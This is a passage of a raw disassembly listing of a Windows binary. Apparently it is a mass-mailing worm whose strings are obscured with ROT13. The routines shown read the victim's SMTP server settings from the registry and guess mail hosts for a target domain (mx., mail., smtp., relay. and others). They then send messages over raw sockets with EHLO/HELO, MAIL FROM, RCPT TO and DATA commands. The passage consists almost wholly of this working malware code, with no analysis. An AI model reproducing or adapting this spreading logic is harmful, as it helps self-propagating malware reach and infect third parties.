  9974.         test    eax, eax
  9975.         jnz    short loc_4A7BAF
  9976.         lea    eax, [ebp+var_408]
  9977.         push    esi        ; int
  9978.         push    eax        ; int
  9979.         mov    eax, [ebp+arg_4]
  9980.         push    offset aTo    ; lpString2
  9981.         call    sub_4A78AC
  9982.         add    esp, 0Ch
  9983.         test    eax, eax
  9984.         jnz    short loc_4A7BAF
  9985.         mov    cl, byte ptr [ebp+var_208]
  9986.         lea    eax, [ebp+var_208]
  9987.         test    cl, cl
  9988.         jz    short loc_4A7BAF
  9989.  
  9990. loc_4A7B9E:                ; CODE XREF: sub_4A7B47+61j
  9991.         cmp    cl, 40h
  9992.         jz    short loc_4A7BAA
  9993.         inc    eax
  9994.         mov    cl, [eax]
  9995.         test    cl, cl
  9996.         jnz    short loc_4A7B9E
  9997.  
  9998. loc_4A7BAA:                ; CODE XREF: sub_4A7B47+5Aj
  9999.         cmp    byte ptr [eax],    0
  10000.         jnz    short loc_4A7BB7
  10001.  
  10002. loc_4A7BAF:                ; CODE XREF: sub_4A7B47+29j
  10003.                     ; sub_4A7B47+45j ...
  10004.         xor    eax, eax
  10005.         inc    eax
  10006.         jmp    loc_4A7DFA
  10007. ; ───────────────────────────────────────────────────────────────────────────
  10008.  
  10009. loc_4A7BB7:                ; CODE XREF: sub_4A7B47+66j
  10010.         inc    eax
  10011.         push    ebx
  10012.         push    eax        ; lpString2
  10013.         lea    eax, [ebp+String1]
  10014.         push    eax        ; lpString1
  10015.         call    ds:lstrcpyA
  10016.         push    6
  10017.         push    1
  10018.         push    2
  10019.         call    ds:WS2_32_23
  10020.         mov    ebx, eax
  10021.         cmp    ebx, 0FFFFFFFFh
  10022.         mov    [ebp+var_4], ebx
  10023.         jnz    short loc_4A7BE5
  10024.         xor    eax, eax
  10025.         inc    eax
  10026.         jmp    loc_4A7DF9
  10027. ; ───────────────────────────────────────────────────────────────────────────
  10028.  
  10029. loc_4A7BE5:                ; CODE XREF: sub_4A7B47+94j
  10030.         push    edi
  10031.         push    10h
  10032.         push    [ebp+arg_0]
  10033.         push    ebx
  10034.         call    ds:WS2_32_4
  10035.         test    eax, eax
  10036.         jnz    loc_4A7DEC
  10037.         mov    esi, 3A98h
  10038.         push    ebx
  10039.         mov    eax, esi
  10040.         call    sub_4A7A58
  10041.         test    eax, eax
  10042.         pop    ecx
  10043.         jnz    loc_4A7DEC
  10044.         push    eax
  10045.         push    esi
  10046.         push    ebx
  10047.         call    sub_4A7AAA
  10048.         mov    esi, 0C8h
  10049.         add    esp, 0Ch
  10050.         cmp    eax, esi
  10051.         jl    loc_4A7DEC
  10052.         cmp    eax, 190h
  10053.         jge    loc_4A7DEC
  10054.         lea    eax, [ebp+var_108]
  10055.         push    offset aRuybF    ; "RUYB    %f\r\n"
  10056.         push    eax
  10057.         call    sub_4A465E
  10058.         lea    eax, [ebp+String1]
  10059.         mov    edi, 2710h
  10060.         push    eax
  10061.         lea    eax, [ebp+var_108]
  10062.         push    eax
  10063.         push    edi
  10064.         push    ebx
  10065.         call    sub_4A7AAA
  10066.         add    esp, 18h
  10067.         cmp    eax, esi
  10068.         jl    short loc_4A7C6C
  10069.         cmp    eax, 12Bh
  10070.         jle    short loc_4A7CA8
  10071.  
  10072. loc_4A7C6C:                ; CODE XREF: sub_4A7B47+11Cj
  10073.         lea    eax, [ebp+var_108]
  10074.         push    offset aUrybF    ; "URYB    %f\r\n"
  10075.         push    eax
  10076.         call    sub_4A465E
  10077.         lea    eax, [ebp+String1]
  10078.         push    eax
  10079.         lea    eax, [ebp+var_108]
  10080.         push    eax
  10081.         push    edi
  10082.         push    ebx
  10083.         call    sub_4A7AAA
  10084.         add    esp, 18h
  10085.         cmp    eax, esi
  10086.         jl    loc_4A7DEC
  10087.         cmp    eax, 12Bh
  10088.         jg    loc_4A7DEC
  10089.  
  10090. loc_4A7CA8:                ; CODE XREF: sub_4A7B47+123j
  10091.         lea    eax, [ebp+var_108]
  10092.         push    offset aZnvySebzF ; "ZNVY SEBZ:<%f>\r\n"
  10093.         push    eax
  10094.         call    sub_4A465E
  10095.         lea    eax, [ebp+var_208]
  10096.         push    eax
  10097.         lea    eax, [ebp+var_108]
  10098.         push    eax
  10099.         push    edi
  10100.         push    ebx
  10101.         call    sub_4A7AAA
  10102.         add    esp, 18h
  10103.         cmp    eax, esi
  10104.         jl    loc_4A7DEC
  10105.         cmp    eax, 12Bh
  10106.         jg    loc_4A7DEC
  10107.         lea    eax, [ebp+var_108]
  10108.         push    offset aEpcgGbF    ; "EPCG    GB:<%f>\r\n"
  10109.         push    eax
  10110.         call    sub_4A465E
  10111.         lea    eax, [ebp+var_408]
  10112.         push    eax
  10113.         lea    eax, [ebp+var_108]
  10114.         push    eax
  10115.         push    edi
  10116.         push    ebx
  10117.         call    sub_4A7AAA
  10118.         add    esp, 18h
  10119.         cmp    eax, esi
  10120.         jl    loc_4A7DEC
  10121.         cmp    eax, 12Bh
  10122.         jg    loc_4A7DEC
  10123.         push    offset aData    ; "DATA\r\n"
  10124.         push    edi
  10125.         push    ebx
  10126.         call    sub_4A7AAA
  10127.         add    esp, 0Ch
  10128.         cmp    eax, esi
  10129.         jl    loc_4A7DEC
  10130.         cmp    eax, 18Fh
  10131.         jg    loc_4A7DEC
  10132.         mov    ecx, [ebp+arg_4]
  10133.         mov    edi, ds:WS2_32_19
  10134.         mov    [ebp+var_8], ecx
  10135.  
  10136. loc_4A7D4E:                ; CODE XREF: sub_4A7B47+259j
  10137.         mov    al, [ecx]
  10138.         mov    ebx, ecx
  10139.         jmp    short loc_4A7D5F
  10140. ; ───────────────────────────────────────────────────────────────────────────
  10141.  
  10142. loc_4A7D54:                ; CODE XREF: sub_4A7B47+21Aj
  10143.         cmp    al, 0Ah
  10144.         jz    short loc_4A7D6D
  10145.         cmp    al, 0Dh
  10146.         jz    short loc_4A7D63
  10147.         inc    ebx
  10148.         mov    al, [ebx]
  10149.  
  10150. loc_4A7D5F:                ; CODE XREF: sub_4A7B47+20Bj
  10151.         test    al, al
  10152.         jnz    short loc_4A7D54
  10153.  
  10154. loc_4A7D63:                ; CODE XREF: sub_4A7B47+213j
  10155.                     ; sub_4A7B47+227j
  10156.         mov    al, [ebx]
  10157.         cmp    al, 0Ah
  10158.         jz    short loc_4A7D6D
  10159.         cmp    al, 0Dh
  10160.         jnz    short loc_4A7D70
  10161.  
  10162. loc_4A7D6D:                ; CODE XREF: sub_4A7B47+20Fj
  10163.                     ; sub_4A7B47+220j
  10164.         inc    ebx
  10165.         jmp    short loc_4A7D63
  10166. ; ───────────────────────────────────────────────────────────────────────────
  10167.  
  10168. loc_4A7D70:                ; CODE XREF: sub_4A7B47+224j
  10169.         cmp    ecx, ebx
  10170.         jz    short loc_4A7DA2
  10171.         cmp    byte ptr [ecx],    2Eh
  10172.         jnz    short loc_4A7D8A
  10173.         push    0
  10174.         push    1
  10175.         push    offset a__1    ; "."
  10176.         push    [ebp+var_4]
  10177.         call    edi ; WS2_32_19
  10178.         mov    ecx, [ebp+var_8]
  10179.  
  10180. loc_4A7D8A:                ; CODE XREF: sub_4A7B47+230j
  10181.         mov    eax, ebx
  10182.         push    0
  10183.         sub    eax, ecx
  10184.         push    eax
  10185.         push    ecx
  10186.         push    [ebp+var_4]
  10187.         call    edi ; WS2_32_19
  10188.         test    eax, eax
  10189.         jle    short loc_4A7DE9
  10190.         mov    [ebp+var_8], ebx
  10191.         mov    ecx, ebx
  10192.         jmp    short loc_4A7D4E
  10193. ; ───────────────────────────────────────────────────────────────────────────
  10194.  
  10195. loc_4A7DA2:                ; CODE XREF: sub_4A7B47+22Bj
  10196.         push    0
  10197.         push    5
  10198.         push    offset a__0    ; "\r\n.\r\n"
  10199.         push    [ebp+var_4]
  10200.         call    edi ; WS2_32_19
  10201.         push    0
  10202.         push    3A98h
  10203.         push    [ebp+var_4]
  10204.         call    sub_4A7AAA
  10205.         add    esp, 0Ch
  10206.         cmp    eax, esi
  10207.         jl    short loc_4A7DE9
  10208.         cmp    eax, 190h
  10209.         jge    short loc_4A7DE9
  10210.         push    offset aQuit    ; "QUIT\r\n"
  10211.         push    1388h
  10212.         push    [ebp+var_4]
  10213.         call    sub_4A7AAA
  10214.         mov    ebx, [ebp+var_4]
  10215.         add    esp, 0Ch
  10216.         xor    esi, esi
  10217.         jmp    short loc_4A7DEF
  10218. ; ───────────────────────────────────────────────────────────────────────────
  10219.  
  10220. loc_4A7DE9:                ; CODE XREF: sub_4A7B47+252j
  10221.                     ; sub_4A7B47+27Dj ...
  10222.         mov    ebx, [ebp+var_4]
  10223.  
  10224. loc_4A7DEC:                ; CODE XREF: sub_4A7B47+ADj
  10225.                     ; sub_4A7B47+C3j ...
  10226.         xor    esi, esi
  10227.         inc    esi
  10228.  
  10229. loc_4A7DEF:                ; CODE XREF: sub_4A7B47+2A0j
  10230.         push    ebx
  10231.         call    ds:WS2_32_3
  10232.         mov    eax, esi
  10233.         pop    edi
  10234.  
  10235. loc_4A7DF9:                ; CODE XREF: sub_4A7B47+99j
  10236.         pop    ebx
  10237.  
  10238. loc_4A7DFA:                ; CODE XREF: sub_4A7B47+6Bj
  10239.         pop    esi
  10240.         leave
  10241.         retn
  10242. sub_4A7B47    endp
  10243.  
  10244.  
  10245. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  10246.  
  10247. ; Attributes: bp-based frame
  10248.  
  10249. sub_4A7DFD    proc near        ; CODE XREF: sub_4A7F4C+1E2p
  10250.  
  10251. var_324        = byte ptr -324h
  10252. Data        = byte ptr -224h
  10253. SubKey        = byte ptr -124h
  10254. ValueName    = byte ptr -0A4h
  10255. var_24        = word ptr -24h
  10256. var_22        = word ptr -22h
  10257. var_20        = dword    ptr -20h
  10258. cbData        = dword    ptr -14h
  10259. phkResult    = dword    ptr -10h
  10260. var_C        = dword    ptr -0Ch
  10261. var_8        = dword    ptr -8
  10262. hKey        = dword    ptr -4
  10263. arg_0        = dword    ptr  8
  10264.  
  10265.         push    ebp
  10266.         mov    ebp, esp
  10267.         sub    esp, 324h
  10268.         push    edi
  10269.         lea    eax, [ebp+SubKey]
  10270.         push    offset aFbsgjnerZvpe_2 ; "Fbsgjner\\Zvpebfbsg\\Vagrearg    Nppbhag    Zna"...
  10271.         push    eax
  10272.         call    sub_4A465E
  10273.         lea    eax, [ebp+ValueName]
  10274.         push    offset aFzgcFreire ; "FZGC Freire"
  10275.         push    eax
  10276.         call    sub_4A465E
  10277.         add    esp, 10h
  10278.         lea    eax, [ebp+hKey]
  10279.         xor    edi, edi
  10280.         push    eax        ; phkResult
  10281.         push    20019h        ; samDesired
  10282.         lea    eax, [ebp+SubKey]
  10283.         push    edi        ; ulOptions
  10284.         push    eax        ; lpSubKey
  10285.         push    80000001h    ; hKey
  10286.         call    ds:RegOpenKeyExA
  10287.         test    eax, eax
  10288.         jz    short loc_4A7E56
  10289.         xor    eax, eax
  10290.         inc    eax
  10291.         jmp    loc_4A7F49
  10292. ; ───────────────────────────────────────────────────────────────────────────
  10293.  
  10294. loc_4A7E56:                ; CODE XREF: sub_4A7DFD+4Fj
  10295.         push    ebx
  10296.         mov    ebx, ds:RegEnumKeyA
  10297.         push    esi
  10298.         mov    esi, 100h
  10299.         lea    eax, [ebp+var_324]
  10300.         push    esi
  10301.         push    eax
  10302.         mov    [ebp+var_8], edi
  10303.         mov    [ebp+var_C], edi
  10304.         push    edi
  10305.         jmp    loc_4A7F29
  10306. ; ───────────────────────────────────────────────────────────────────────────
  10307.  
  10308. loc_4A7E77:                ; CODE XREF: sub_4A7DFD+133j
  10309.         lea    eax, [ebp+phkResult]
  10310.         inc    [ebp+var_8]
  10311.         push    eax        ; phkResult
  10312.         push    20019h        ; samDesired
  10313.         lea    eax, [ebp+var_324]
  10314.         push    edi        ; ulOptions
  10315.         push    eax        ; lpSubKey
  10316.         push    [ebp+hKey]    ; hKey
  10317.         call    ds:RegOpenKeyExA
  10318.         test    eax, eax
  10319.         jnz    loc_4A7F1E
  10320.         push    esi
  10321.         lea    eax, [ebp+Data]
  10322.         push    edi
  10323.         push    eax
  10324.         call    memset
  10325.         add    esp, 0Ch
  10326.         lea    eax, [ebp+cbData]
  10327.         mov    [ebp+cbData], esi
  10328.         push    eax        ; lpcbData
  10329.         lea    eax, [ebp+Data]
  10330.         push    eax        ; lpData
  10331.         push    edi        ; lpType
  10332.         lea    eax, [ebp+ValueName]
  10333.         push    edi        ; lpReserved
  10334.         push    eax        ; lpValueName
  10335.         push    [ebp+phkResult]    ; hKey
  10336.         call    ds:RegQueryValueExA
  10337.         test    eax, eax
  10338.         jnz    short loc_4A7F10
  10339.         lea    edi, [ebp+Data]
  10340.         call    sub_4A7877
  10341.         test    eax, eax
  10342.         mov    [ebp+var_20], eax
  10343.         jz    short loc_4A7F0E
  10344.         push    19h
  10345.         mov    [ebp+var_24], 2
  10346.         call    ds:WS2_32_9
  10347.         push    [ebp+arg_0]
  10348.         mov    [ebp+var_22], ax
  10349.         lea    eax, [ebp+var_24]
  10350.         push    eax
  10351.         call    sub_4A7B47
  10352.         pop    ecx
  10353.         test    eax, eax
  10354.         pop    ecx
  10355.         jnz    short loc_4A7F0E
  10356.         mov    [ebp+var_C], 1
  10357.  
  10358. loc_4A7F0E:                ; CODE XREF: sub_4A7DFD+E4j
  10359.                     ; sub_4A7DFD+108j
  10360.         xor    edi, edi
  10361.  
  10362. loc_4A7F10:                ; CODE XREF: sub_4A7DFD+D2j
  10363.         push    [ebp+phkResult]
  10364.         call    ds:RegCloseKey
  10365.         cmp    [ebp+var_C], edi
  10366.         jnz    short loc_4A7F36
  10367.  
  10368. loc_4A7F1E:                ; CODE XREF: sub_4A7DFD+99j
  10369.         lea    eax, [ebp+var_324]
  10370.         push    esi
  10371.         push    eax
  10372.         push    [ebp+var_8]
  10373.  
  10374. loc_4A7F29:                ; CODE XREF: sub_4A7DFD+75j
  10375.         push    [ebp+hKey]
  10376.         call    ebx
  10377.         test    eax, eax
  10378.         jz    loc_4A7E77
  10379.  
  10380. loc_4A7F36:                ; CODE XREF: sub_4A7DFD+11Fj
  10381.         push    [ebp+hKey]
  10382.         call    ds:RegCloseKey
  10383.         xor    eax, eax
  10384.         cmp    [ebp+var_C], edi
  10385.         pop    esi
  10386.         pop    ebx
  10387.         setz    al
  10388.  
  10389. loc_4A7F49:                ; CODE XREF: sub_4A7DFD+54j
  10390.         pop    edi
  10391.         leave
  10392.         retn
  10393. sub_4A7DFD    endp
  10394.  
  10395.  
  10396. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  10397.  
  10398. ; Attributes: bp-based frame
  10399.  
  10400. sub_4A7F4C    proc near        ; CODE XREF: sub_4A5A7C+52p
  10401.  
  10402. var_314        = dword    ptr -314h
  10403. String2        = byte ptr -214h
  10404. var_114        = byte ptr -114h
  10405. var_14        = word ptr -14h
  10406. var_12        = word ptr -12h
  10407. var_10        = dword    ptr -10h
  10408. var_4        = dword    ptr -4
  10409. arg_0        = dword    ptr  8
  10410. arg_4        = dword    ptr  0Ch
  10411.  
  10412.         push    ebp
  10413.         mov    ebp, esp
  10414.         sub    esp, 314h
  10415.         mov    eax, [ebp+arg_4]
  10416.         test    eax, eax
  10417.         jz    short loc_4A7F9A
  10418.         lea    ecx, [ebp+var_314]
  10419.         push    100h        ; int
  10420.         push    ecx        ; int
  10421.         push    offset aTo    ; lpString2
  10422.         call    sub_4A78AC
  10423.         add    esp, 0Ch
  10424.         test    eax, eax
  10425.         jnz    short loc_4A7F9A
  10426.         mov    cl, byte ptr [ebp+var_314]
  10427.         lea    eax, [ebp+var_314]
  10428.         test    cl, cl
  10429.         jz    short loc_4A7F9A
  10430.  
  10431. loc_4A7F89:                ; CODE XREF: sub_4A7F4C+47j
  10432.         cmp    cl, 40h
  10433.         jz    short loc_4A7F95
  10434.         inc    eax
  10435.         mov    cl, [eax]
  10436.         test    cl, cl
  10437.         jnz    short loc_4A7F89
  10438.  
  10439. loc_4A7F95:                ; CODE XREF: sub_4A7F4C+40j
  10440.         cmp    byte ptr [eax],    0
  10441.         jnz    short loc_4A7F9F
  10442.  
  10443. loc_4A7F9A:                ; CODE XREF: sub_4A7F4C+Ej
  10444.                     ; sub_4A7F4C+2Bj ...
  10445.         xor    eax, eax
  10446.         inc    eax
  10447.         leave
  10448.         retn
  10449. ; ───────────────────────────────────────────────────────────────────────────
  10450.  
  10451. loc_4A7F9F:                ; CODE XREF: sub_4A7F4C+4Cj
  10452.         push    ebx
  10453.         mov    ebx, ds:lstrcpyA
  10454.         push    esi
  10455.         inc    eax
  10456.         push    edi
  10457.         push    eax        ; lpString2
  10458.         lea    eax, [ebp+String2]
  10459.         push    eax        ; lpString1
  10460.         call    ebx ; lstrcpyA
  10461.         mov    esi, [ebp+arg_0]
  10462.         jmp    short loc_4A7FED
  10463. ; ───────────────────────────────────────────────────────────────────────────
  10464.  
  10465. loc_4A7FB8:                ; CODE XREF: sub_4A7F4C+A3j
  10466.         lea    edi, [esi+8]
  10467.         call    sub_4A7877
  10468.         test    eax, eax
  10469.         mov    [ebp+var_10], eax
  10470.         jz    short loc_4A7FEB
  10471.         push    19h
  10472.         mov    [ebp+var_14], 2
  10473.         call    ds:WS2_32_9
  10474.         push    [ebp+arg_4]
  10475.         mov    [ebp+var_12], ax
  10476.         lea    eax, [ebp+var_14]
  10477.         push    eax
  10478.         call    sub_4A7B47
  10479.         pop    ecx
  10480.         test    eax, eax
  10481.         pop    ecx
  10482.         jz    short loc_4A800D
  10483.  
  10484. loc_4A7FEB:                ; CODE XREF: sub_4A7F4C+79j
  10485.         mov    esi, [esi]
  10486.  
  10487. loc_4A7FED:                ; CODE XREF: sub_4A7F4C+6Aj
  10488.         test    esi, esi
  10489.         jnz    short loc_4A7FB8
  10490.         and    [ebp+var_4], esi
  10491.         mov    esi, ds:wsprintfA
  10492.  
  10493. loc_4A7FFA:                ; CODE XREF: sub_4A7F4C+1C7j
  10494.         mov    eax, [ebp+var_4]
  10495.         cmp    eax, 9        ; switch 10 cases 
  10496.         ja    loc_4A80B3    ; default
  10497.         jmp    ds:off_4A8144[eax*4] ; switch jump
  10498. ; ───────────────────────────────────────────────────────────────────────────
  10499.  
  10500. loc_4A800D:                ; CODE XREF: sub_4A7F4C+9Dj
  10501.                     ; sub_4A7F4C+1ABj ...
  10502.         xor    eax, eax
  10503.         jmp    loc_4A813F
  10504. ; ───────────────────────────────────────────────────────────────────────────
  10505.  
  10506. loc_4A8014:                ; CODE XREF: sub_4A7F4C+BAj
  10507.                     ; DATA XREF: .text:004A8144o
  10508.         lea    eax, [ebp+String2] ; case 0x0
  10509.         push    eax        ; lpString2
  10510.         lea    eax, [ebp+var_114]
  10511.         push    eax        ; lpString1
  10512.         call    ebx ; lstrcpyA
  10513.         jmp    loc_4A80BA
  10514. ; ───────────────────────────────────────────────────────────────────────────
  10515.  
  10516. loc_4A8029:                ; CODE XREF: sub_4A7F4C+BAj
  10517.                     ; DATA XREF: .text:004A8144o
  10518.         lea    eax, [ebp+String2] ; case 0x1
  10519.         push    eax
  10520.         push    offset aMx_S    ; "mx.%s"
  10521.         jmp    short loc_4A80A5
  10522. ; ───────────────────────────────────────────────────────────────────────────
  10523.  
  10524. loc_4A8037:                ; CODE XREF: sub_4A7F4C+BAj
  10525.                     ; DATA XREF: .text:004A8144o
  10526.         lea    eax, [ebp+String2] ; case 0x2
  10527.         push    eax
  10528.         push    offset aMail_S    ; "mail.%s"
  10529.         jmp    short loc_4A80A5
  10530. ; ───────────────────────────────────────────────────────────────────────────
  10531.  
  10532. loc_4A8045:                ; CODE XREF: sub_4A7F4C+BAj
  10533.                     ; DATA XREF: .text:004A8144o
  10534.         lea    eax, [ebp+String2] ; case 0x3
  10535.         push    eax
  10536.         push    offset aSmtp_S    ; "smtp.%s"
  10537.         jmp    short loc_4A80A5
  10538. ; ───────────────────────────────────────────────────────────────────────────
  10539.  
  10540. loc_4A8053:                ; CODE XREF: sub_4A7F4C+BAj
  10541.                     ; DATA XREF: .text:004A8144o
  10542.         lea    eax, [ebp+String2] ; case 0x4
  10543.         push    eax
  10544.         push    offset aMx1_S    ; "mx1.%s"
  10545.         jmp    short loc_4A80A5
  10546. ; ───────────────────────────────────────────────────────────────────────────
  10547.  
  10548. loc_4A8061:                ; CODE XREF: sub_4A7F4C+BAj
  10549.                     ; DATA XREF: .text:004A8144o
  10550.         lea    eax, [ebp+String2] ; case 0x5
  10551.         push    eax
  10552.         push    offset aMxs_S    ; "mxs.%s"
  10553.         jmp    short loc_4A80A5
  10554. ; ───────────────────────────────────────────────────────────────────────────
  10555.  
  10556. loc_4A806F:                ; CODE XREF: sub_4A7F4C+BAj
  10557.                     ; DATA XREF: .text:004A8144o
  10558.         lea    eax, [ebp+String2] ; case 0x6
  10559.         push    eax
  10560.         push    offset aMail1_S    ; "mail1.%s"
  10561.         jmp    short loc_4A80A5
  10562. ; ───────────────────────────────────────────────────────────────────────────
  10563.  
  10564. loc_4A807D:                ; CODE XREF: sub_4A7F4C+BAj
  10565.                     ; DATA XREF: .text:004A8144o
  10566.         lea    eax, [ebp+String2] ; case 0x7
  10567.         push    eax
  10568.         push    offset aRelay_S    ; "relay.%s"
  10569.         jmp    short loc_4A80A5
  10570. ; ───────────────────────────────────────────────────────────────────────────
  10571.  
  10572. loc_4A808B:                ; CODE XREF: sub_4A7F4C+BAj
  10573.                     ; DATA XREF: .text:004A8144o
  10574.         lea    eax, [ebp+String2] ; case 0x8
  10575.         push    eax
  10576.         push    offset aNs_S    ; "ns.%s"
  10577.         jmp    short loc_4A80A5
  10578. ; ───────────────────────────────────────────────────────────────────────────
  10579.  
  10580. loc_4A8099:                ; CODE XREF: sub_4A7F4C+BAj
  10581.                     ; DATA XREF: .text:004A8144o
  10582.         lea    eax, [ebp+String2] ; case 0x9
  10583.         push    eax
  10584.         push    offset aGate_S    ; "gate.%s"
  10585.  
  10586. loc_4A80A5:                ; CODE XREF: sub_4A7F4C+E9j
  10587.                     ; sub_4A7F4C+F7j ...
  10588.         lea    eax, [ebp+var_114]
  10589.         push    eax
  10590.         call    esi ; wsprintfA
  10591.         add    esp, 0Ch
  10592.         jmp    short loc_4A80BA
  10593. ; ───────────────────────────────────────────────────────────────────────────
  10594.  
  10595. loc_4A80B3:                ; CODE XREF: sub_4A7F4C+B4j
  10596.         and    [ebp+var_114], 0 ; default
  10597.  
  10598. loc_4A80BA:                ; CODE XREF: sub_4A7F4C+D8j
  10599.                     ; sub_4A7F4C+165j
  10600.         cmp    [ebp+var_114], 0
  10601.         jz    short loc_4A8118
  10602.         lea    edi, [ebp+var_114]
  10603.         call    sub_4A7877
  10604.         test    eax, eax
  10605.         mov    [ebp+var_10], eax
  10606.         jz    short loc_4A8110
  10607.         push    19h
  10608.         mov    [ebp+var_14], 2
  10609.         call    ds:WS2_32_9
  10610.         push    [ebp+arg_4]
  10611.         mov    [ebp+var_12], ax
  10612.         lea    eax, [ebp+var_14]
  10613.         push    eax
  10614.         call    sub_4A7B47
  10615.         pop    ecx
  10616.         test    eax, eax
  10617.         pop    ecx
  10618.         jz    loc_4A800D
  10619.         call    sub_4A4221
  10620.         movzx    eax, ax
  10621.         push    64h
  10622.         cdq
  10623.         pop    ecx
  10624.         idiv    ecx
  10625.         cmp    edx, 14h
  10626.         jl    short loc_4A8118
  10627.  
  10628. loc_4A8110:                ; CODE XREF: sub_4A7F4C+187j
  10629.         inc    [ebp+var_4]
  10630.         jmp    loc_4A7FFA
  10631. ; ───────────────────────────────────────────────────────────────────────────
  10632.  
  10633. loc_4A8118:                ; CODE XREF: sub_4A7F4C+175j
  10634.                     ; sub_4A7F4C+1C2j
  10635.         call    sub_4A4221
  10636.         movzx    eax, ax
  10637.         push    64h
  10638.         cdq
  10639.         pop    ecx
  10640.         idiv    ecx
  10641.         cmp    edx, 19h
  10642.         jge    short loc_4A813C
  10643.         push    [ebp+arg_4]
  10644.         call    sub_4A7DFD
  10645.         test    eax, eax
  10646.         pop    ecx
  10647.         jz    loc_4A800D
  10648.  
  10649. loc_4A813C:                ; CODE XREF: sub_4A7F4C+1DDj
  10650.         xor    eax, eax
  10651.         inc    eax
  10652.  
  10653. loc_4A813F:                ; CODE XREF: sub_4A7F4C+C3j
  10654.         pop    edi
  10655.         pop    esi
  10656.         pop    ebx
  10657.         leave
  10658.         retn
  10659. sub_4A7F4C    endp
  10660.  
  10661. ; ───────────────────────────────────────────────────────────────────────────
  10662. off_4A8144    dd offset loc_4A8014    ; DATA XREF: sub_4A7F4C+BAr
  10663.         dd offset loc_4A8029    ; jump table for switch    statement
  10664.         dd offset loc_4A8037
  10665.         dd offset loc_4A8045
  10666.         dd offset loc_4A8053
  10667.         dd offset loc_4A8061
  10668.         dd offset loc_4A806F
  10669.         dd offset loc_4A807D
  10670.         dd offset loc_4A808B
  10671.         dd offset loc_4A8099
  10672. ; [00000006 BYTES: COLLAPSED FUNCTION WS2_32_151. PRESS    KEYPAD "+" TO EXPAND]
  10673. ; [00000006 BYTES: COLLAPSED FUNCTION memset. PRESS KEYPAD "+" TO EXPAND]
  10674. ; [00000006 BYTES: COLLAPSED FUNCTION memcpy. PRESS KEYPAD "+" TO EXPAND]
  10675.         align 4
  10676.  
  10677. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  10678.  
  10679.  
  10680. sub_4A8180    proc near        ; CODE XREF: sub_4A5EC8+8p
  10681.  
  10682. arg_0        = byte ptr  8
  10683.  
  10684.         push    ecx
  10685.         cmp    eax, 1000h
  10686.         lea    ecx, [esp+arg_0]
  10687.         jb    short loc_4A81A0
  10688.  
  10689. loc_4A818C:                ; CODE XREF: sub_4A8180+1Ej
  10690.         sub    ecx, 1000h
  10691.         sub    eax, 1000h
  10692.         test    [ecx], eax
  10693.         cmp    eax, 1000h
  10694.         jnb    short loc_4A818C
  10695.  
  10696. loc_4A81A0:                ; CODE XREF: sub_4A8180+Aj
  10697.         sub    ecx, eax
  10698.         mov    eax, esp
  10699.         test    [ecx], eax
  10700.         mov    esp, ecx
  10701.         mov    ecx, [eax]
  10702.         mov    eax, [eax+4]
  10703.         push    eax
  10704.         retn
  10705. sub_4A8180    endp ; sp = -8
  10706.  
  10707. ; ───────────────────────────────────────────────────────────────────────────
  10708.         align 4
  10709. dword_4A81B0    dd 0            ; DATA XREF: sub_4A4215+6w sub_4A4221r ...
  10710.         align 8
  10711. dword_4A81B8    dd 0            ; DATA XREF: sub_4A539F+Cw
  10712.                     ; sub_4A539F+18w ...
  10713. dword_4A81BC    dd 0            ; DATA XREF: sub_4A539F+31w
  10714.                     ; sub_4A539F+5Cw ...
  10715. byte_4A81C0    db 0            ; DATA XREF: sub_4A539F+94o
  10716.                     ; sub_4A539F+F5r
  10717. byte_4A81C1    db 0            ; DATA XREF: sub_4A539F+11Cr
  10718.         dd 3Fh dup(0)
  10719.         align 4
  10720. dword_4A82C0    dd 0            ; DATA XREF: sub_4A539F+7Bw
  10721.         db 3 dup(0)
  10722. byte_4A82C7    db 0            ; DATA XREF: sub_4A539F+E2r
  10723. ; CHAR String1
  10724. String1        db 0            ; DATA XREF: sub_4A539F+8Fo
  10725.                     ; sub_4A539F+D9r
  10726.         dd 3Fh dup(0)
  10727.         align 4
  10728. dword_4A83C8    dd 0            ; DATA XREF: sub_4A6132w sub_4A613D+4w ...
  10729. dword_4A83CC    dd 0            ; DATA XREF: sub_4A5788+37r
  10730.                     ; sub_4A5788+B5r ...
  10731. dword_4A83D0    dd 0            ; DATA XREF: .text:004A5AEDo
  10732.                     ; .text:004A5B10r ...
  10733. dword_4A83D4    dd 0            ; DATA XREF: sub_4A5934+1r sub_4A595Dr ...
  10734.         dd 3 dup(0), 85D4h, 101Ch, 3 dup(0), 85E1h, 1000h, 3 dup(0)
  10735.         dd 85EEh, 1108h, 3 dup(0), 85F9h, 112Ch, 3 dup(0), 8604h
  10736.         dd 1144h, 66h dup(0), 4E52454Bh, 32334C45h, 4C4C442Eh
  10737.         dd 56444100h, 33495041h, 6C642E32h, 534D006Ch, 54524356h
  10738.         dd 6C6C642Eh, 45535500h, 2E323352h, 6C6C64h, 5F325357h
  10739.         dd 642E3233h, 6C6Ch, 72430000h,    65746165h, 656C6946h, 7070614Dh
  10740.         dd 41676E69h, 69460000h, 654E646Eh, 69467478h, 41656Ch
  10741.         dd 69460000h, 6946646Eh, 46747372h, 41656C69h, 65470000h
  10742.         dd 766E4574h, 6E6F7269h, 746E656Dh, 69726156h, 656C6261h
  10743.         dd 41h,    57746547h, 6F646E69h, 69447377h, 74636572h, 4179726Fh
  10744.         dd 65470000h, 69724474h, 79546576h, 416570h, 65470000h
  10745.         dd 6C694674h, 7A695365h, 65h, 646E6946h, 736F6C43h, 65h
  10746.         dd 656C6946h, 656D6954h, 79536F54h, 6D657473h, 656D6954h
  10747.         dd 6C470000h, 6C61626Fh, 6F6C6C41h, 63h, 54746547h, 46706D65h
  10748.         dd 4E656C69h, 41656D61h, 65530000h, 6C694674h, 696F5065h
  10749.         dd 7265746Eh, 65470000h, 73795374h, 546D6574h, 656D69h
  10750.         dd 65470000h, 72754374h, 746E6572h, 65726854h, 6461h, 74697257h
  10751.         dd 6C694665h, 65h, 64616F4Ch, 7262694Ch, 41797261h, 736C0000h
  10752.         dd 70637274h, 4179h, 736F6C43h,    6E614865h, 656C64h, 65470000h
  10753.         dd 6C694674h, 74744165h, 75626972h, 41736574h, 72430000h
  10754.         dd 65746165h, 656C6946h, 41h, 7274736Ch, 416E656Ch, 65470000h
  10755.         dd 6D655474h, 74615070h, 4168h,    53746547h, 65747379h, 7269446Dh
  10756.         dd 6F746365h, 417972h, 736C0000h, 61637274h, 4174h, 4C746547h
